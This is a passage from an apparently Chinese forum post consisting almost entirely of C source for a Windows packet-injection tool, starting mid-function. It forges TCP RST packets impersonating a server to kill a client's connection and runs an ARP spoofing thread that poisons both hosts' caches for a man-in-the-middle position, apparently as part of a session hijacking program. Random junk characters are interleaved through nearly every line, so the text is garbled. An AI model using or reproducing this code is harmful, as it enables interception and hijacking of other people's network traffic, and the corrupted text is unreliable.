- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
__finally
8 h9 B- K0 T1 ]# } {
( m& _# `: g, o* e3 K; | if(pHiJackPacket) free(pHiJackPacket); / |: \( p, c% S6 J- o& k- y# e5 S! f
} / D1 G8 y+ }) }& L& U0 r2 h1 v/ [
return bRet; 1 O a0 i% N( e' y1 [/ C# ?# \
} / @/ J. }1 u" [2 F+ Y
! E0 E# c5 M7 ^8 j* i- R
$ ]6 d- v9 Q6 [/ E2 ~
//
! U ?' n7 j4 J$ F" Q//功能:伪装成Server给Client发送rst包 K- ?, H2 x# P9 Z |6 t: U6 e! D
// 1 @8 O) I# F5 X! P
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
5 ~* B/ I4 @! |# T{ 0 C: {; V! L3 [+ C7 w
char szBuff[60];
" c; Q% A; n: U! y* Q PSDHDR psdhdr; " d; F' Q: j o" ?, O, }
PTCPPACKET pTcpPacket = NULL; ! }5 [! t* p% {3 q; {
BOOL bRet = FALSE;
) I' j" n4 q$ P3 o1 U- O$ k2 A* W6 E9 z" c* A3 [2 v
__try : U7 c: z% o3 d3 A2 A" i
{ 6 p+ ]9 h+ g: T8 T2 j# k1 D" |( N$ {
//检查当前指向想控制的连接的信息的指针是否为空 8 o0 x( }$ D6 N# ~+ I
if(!g_pCurrCtrlConn) __leave;
: X% o0 d& s: p; P# i //allocate memory for rst packet
) _4 r+ A, m: v R- n pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
Z2 K: d( m8 f/ M if(!pTcpPacket)
: t6 @, p7 o v1 K X { + {) G' o, N' X! z- h5 ]
printf("malloc error:%d\n", GetLastError());
z; {9 t) j. n __leave; 3 I2 N, ]( c( M6 W: H
} " M9 Y+ |3 w I* W; _8 ^0 C
//fill ethernet head
( |8 f6 I% r' J1 c& D6 \: E memcpy(pTcpPacket->ehhdr.DestMAC, g_szClientSideMAC, 6);
4 [5 s/ c) [" K$ Y1 i! V) x0 f+ I3 A memcpy(pTcpPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
6 A( s3 ?9 b3 [8 i2 e pTcpPacket->ehhdr.EthernetType = htons(EPT_IP); 3 f% v# A) C. I( x! _4 A& ]" v; Q2 ?
//fil ip head ) T7 D. {. v( X% M2 K# ~6 ^
pTcpPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
' s+ l. B1 c1 b u$ p pTcpPacket->iphdr.tos = 0;
) d8 G/ V# @% j1 F( t" w pTcpPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
/ Q$ D& I: I, q. `# E pTcpPacket->iphdr.ident = 1;
1 _. T- y3 |* B' F8 @2 c4 Z: w pTcpPacket->iphdr.frag_and_flags = 0; " K- ?6 s2 y+ q
pTcpPacket->iphdr.ttl = 128; - v; O5 r2 A$ N4 O6 R( X& M
pTcpPacket->iphdr.proto = IPPROTO_TCP; # }1 b! q7 c& `& m9 c
pTcpPacket->iphdr.checksum = 0; 6 ^. R2 ^7 {2 \ R
pTcpPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwServerIP;//源IP地址,伪装成服务器的
6 B5 b* s+ j. ^. C, P1 d; a pTcpPacket->iphdr.destIP = g_pCurrCtrlConn->dwClientIP;//接收此rst包的ip地址
0 V9 Q( V7 Y5 G5 e& H- g1 e //fill tcp head ! i9 w9 q! ]' s. C
pTcpPacket->tcphdr.th_sport = g_pCurrCtrlConn->uServerPort;//源端口号,伪装成服务器的端口
) c2 W$ u2 v. y9 F4 b pTcpPacket->tcphdr.th_dport = g_pCurrCtrlConn->uClientPort;//接收此rst包的端口 . B3 ^/ Q$ T$ l3 @& N5 d$ j4 {* k
pTcpPacket->tcphdr.th_seq = seq;//SYN
/ Y* p( W" f7 Z pTcpPacket->tcphdr.th_ack = ack;//ACK ! w$ I; F, {+ q' t' I8 O
pTcpPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4<<4|0); & D9 O( A2 }/ [' H; F9 w
pTcpPacket->tcphdr.th_flag = 4;//RST flag - P C; J9 m$ i* n
pTcpPacket->tcphdr.th_win = 0; % D* W4 [( c- Q# _
pTcpPacket->tcphdr.th_urp = 0; " @' V( m/ I8 Y$ m# I/ k
pTcpPacket->tcphdr.th_sum = 0;
; N5 Z+ S6 a, [4 n) Q" J2 E+ c* S //fill tcp psd head 5 a2 P3 Y' i0 W6 ]7 [ Q( ]3 N, ]3 M" r
psdhdr.saddr = pTcpPacket->iphdr.sourceIP;
/ B4 @8 g7 u! @" P Q psdhdr.daddr = pTcpPacket->iphdr.destIP;
! o# d: ] v- w4 R psdhdr.mbz = 0;
; Q# R; x% Z( m7 L5 E6 ~ psdhdr.ptcl = IPPROTO_TCP;
! r( E; R4 k7 Q psdhdr.tcpl = htons(sizeof(TCPHDR)); J3 b+ m7 S H6 w3 D
//calculate tcp checksum 5 z, X# A! y4 w; A) {6 P
memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); ! n* c' Z8 X9 X- }. b6 v% Z
memcpy(szBuff + sizeof(PSDHDR), &pTcpPacket->tcphdr, sizeof(TCPHDR));
$ ?& l! q, A% s# k) ~+ U pTcpPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR)); , @+ y7 {5 N' e
//calculate IP checksum & K7 |+ e/ z8 F% @
pTcpPacket->iphdr.checksum = checksum((USHORT *)&pTcpPacket->iphdr, sizeof(IPHDR)); ) C: ~- g/ F$ j+ a
//fill send buffer
( m) H% M9 U6 A! G memset(g_lpSendPacket->Buffer, 0, 1514);
9 b& L. X; V% @! L: y memcpy(g_lpSendPacket->Buffer, (char *)pTcpPacket, sizeof(TCPPACKET)); 9 q( n% Q' j% _+ _
if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
h& j' b- z; C {
) C, V# A5 q, Y$ o5 }) y' F printf("Error sending the rst packets!\n");
/ \: @+ F* Z5 R __leave;
8 [) D7 j! f% o; K9 ~* Q" z+ o" a } : P' q8 @3 F: ?8 @- y! P) b6 e% P
else printf("Send RST packet ok!\n");
* f. n4 [4 q- w bRet = TRUE;
. t2 k" A) V+ j7 _ }
5 U0 x S& c: n% E __finally 0 |) w+ R! m+ g+ s! t: t; v
{
8 f* ^; Q7 r) l. @. w$ q if(pTcpPacket) free(pTcpPacket);
4 F* Z i9 J& ] l+ z6 O } - b2 D" C7 ]# d/ b% w5 a4 g
return bRet; 9 N, l& E) h3 _
}
0 G, u9 ]7 F7 a W# p, e2 H2 t: F8 ?! c5 n
//
& c! E( }' r3 a! _//功能:计算校验和
0 }6 b) r h M' m6 C/ }//
: N2 t W3 M/ ^2 I( r+ ^, Z+ _: oUSHORT checksum(USHORT *buffer, int size)
5 F8 ?2 J1 Z( n; ^2 Z3 l{ $ n2 E, n6 c; `
unsigned long cksum=0; 6 x. C7 m3 l0 h4 o. b
while(size >1) {
* {2 i; n) c( M$ R& T( h cksum+=*buffer++; 2 ^: _( @/ w) t4 m! L: q. D& L8 ]
size -=sizeof(USHORT);
( N& f: V1 J8 _& j/ u8 _ } - Z' U2 q/ ]6 ?4 _
if(size ) { , ?, N5 H8 k2 e; [, o' s. i ]
cksum += *(UCHAR*)buffer;
2 z3 k+ e: Q3 w: i; [( d0 w' X, t( Z } ' z7 i* m y9 f0 v
cksum = (cksum >> 16) + (cksum & 0xffff);
5 M9 k4 \: g' H& D+ H cksum += (cksum >>16);
7 d! D- w% `0 ~; o* D3 @1 H# U return (USHORT)(~cksum); 1 G# o; q+ K; P2 }: v4 \; h
}
" W8 G5 G: r, F2 z" n( ^: x" o+ q, O
! D: J! ] C4 i+ n$ r5 S8 H/ p( G) Y" Q// ( p& H8 M% n8 Q l% C2 O" ^0 t# m3 {
//功能:实施ARP欺骗
- i* U; y5 X9 |# O7 U//1 告诉ServerSide,ClientSide的mac是ownmac # B k3 G t/ h% }: L
//2 告诉ClientSide,ServerSide的mac是ownmac
0 f; Y A, L9 h1 x//
: u7 t( v3 o+ W4 I9 s9 Z g6 h8 XDWORD WINAPI ArpSpoofThread(LPVOID lpType)
9 d0 U0 m) d# @+ B{
& j. @) e: T# W& L( F int iType = *(int *)lpType; ' Z& B0 {1 S8 h: K
ARPPACKET ArpPacket; / f) Y9 ]6 J: `( _( D
LPPACKET lpArpPacket;
6 J: |* g& c' O5 M- S0 } char szArpBuff[60]; - {+ f g; f0 H
/ A* E7 y& n! T, }- `" G
switch(iType)
4 @4 ~; S, t' P) A2 g! k3 c { 7 v% P9 y2 w& |2 `
case 1: / X0 o, p8 n1 i+ x2 q* t! ^2 E
memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
& g6 C) ?# n0 v. q+ x( e' _ ArpPacket.arphdr.DestIP = g_ServerSideIP; ( k- `) X4 f. E: @
ArpPacket.arphdr.SourceIP = g_ClientSideIP;
N9 H: m) d0 E, t: l) g break;
! k; b6 x l. M- f' x0 \/ u4 ^ case 2: 1 t* ]+ {7 I9 T9 w# G
memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6); ; [7 I5 q" k# _3 {
ArpPacket.arphdr.DestIP = g_ClientSideIP; . O J. E; R6 a# C
ArpPacket.arphdr.SourceIP = g_ServerSideIP; 8 f" b/ |! n1 r& N8 V" ^ Z1 p+ W
break;
5 q# E! O( R5 K. S5 R6 u- {4 a3 W: @ default:
. H; N5 ]( C2 M0 e9 R) }' j return 0; : b4 ]9 z2 B: x* K; T
}
1 d |: E# u9 Q6 p/ F" A! G //ethernet head & h+ f$ b5 t. B4 N$ Z( W T
memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6); ' W4 }. A P+ I, X3 r9 f
ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type 9 }- Z( p% s7 r9 [
//arp head : y5 a5 @; u6 |. C. Y9 n
memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac 6 t6 L3 r6 |) Z, t
memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
7 Q- L- i- ]3 K' Z ArpPacket.arphdr.HrdAddrlen = 6; u2 F: X5 |: G6 W R. [, h0 |% j
ArpPacket.arphdr.ProAddrLen = 4; ' M4 G5 I! V/ S6 O A
ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
) z" x- ~# k/ B4 m8 P; H ArpPacket.arphdr.ProType = htons(EPT_IP); 1 f% v. ~% ~5 U/ Q
ArpPacket.arphdr.op = htons(2);//arp reply
7 ?: i% `# e0 U2 ]9 t& [3 o3 G+ @ f5 z' z, C
lpArpPacket = PacketAllocatePacket();
- n! h3 _$ M! H5 J if(lpArpPacket == NULL) % L* G+ t. |$ }& n2 H0 N/ _
{ * E2 b* X/ G! o" [2 k
printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); 4 {7 r# j2 |( y; \
return 0; ( m, E5 J( D, T3 I8 \
} * p4 T+ L. `! k$ l% `( C
memset(szArpBuff, 0, sizeof(szArpBuff));
1 |# E s6 T) K memcpy(szArpBuff, (char *)&ArpPacket, sizeof(ARPPACKET));
2 w y2 w) _$ M( f$ u' F7 v PacketInitPacket(lpArpPacket, szArpBuff, 60);
9 L1 s& U/ L+ N9 n! v //send arp packet " j9 ?4 `6 e% T* M1 d2 j- D
while(1)
3 |, Z% `4 Q3 Z! Q1 q( D { + {% t# Y' \- `* U7 d
if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE) k f3 u9 p j4 i6 q1 D! p" U0 v
{ ) g; K% y% p9 I8 w# a/ Z
printf("Error sending the arp spoof packets!\n");
4 I* e4 j( H& X, [; Y+ R return 0; ) ]! G# s, i6 J3 _
}
3 C1 w0 `1 ~" U! e7 @ y Sleep(1000);
3 a( z# g, a. v }
* o Q! q" A: e7 b* S8 S9 J" @# a return 0;
( y' V, x2 h; W} 6 p9 a0 {( ~! C; E1 Z& w
, G/ B7 H1 F" a$ h% [9 v
// ! |6 o1 ~6 F3 @. L
//功能:输入IP取得对应的MAC地址
# U# e) W7 @- \# e( z- m. M- h! @1 l+ ^//
, }: t4 m8 ^- s6 ^* wBOOL GetMACAddr(DWORD DestIP, char *pMAC)
2 n. N q/ S1 {9 z5 g{ . D% r1 ]6 U; |5 W( ~" g% q
DWORD dwRet;
4 R- J4 {. \; a+ W ULONG ulLen = 6, pulMac[2];
3 g# A5 H/ y# n* v4 E dwRet = SendARP(DestIP, 0, pulMac, &ulLen); 0 _: g& v2 j( X/ a) L* h; I2 j
if(dwRet == NO_ERROR)
* _6 _+ m5 G4 j+ m h1 v/ K- c1 \+ J { & I/ c! o# j8 P& w" {# w2 ?8 m
memcpy(pMAC, pulMac, 6); 6 f3 N9 v7 b. c" f9 K: s3 Z
return TRUE;
1 A& @$ l3 o* ~4 O/ ~) M } : E" D& b+ Y% ^4 w6 Q
else return FALSE; 7 ~+ L6 [+ V3 i
} |
|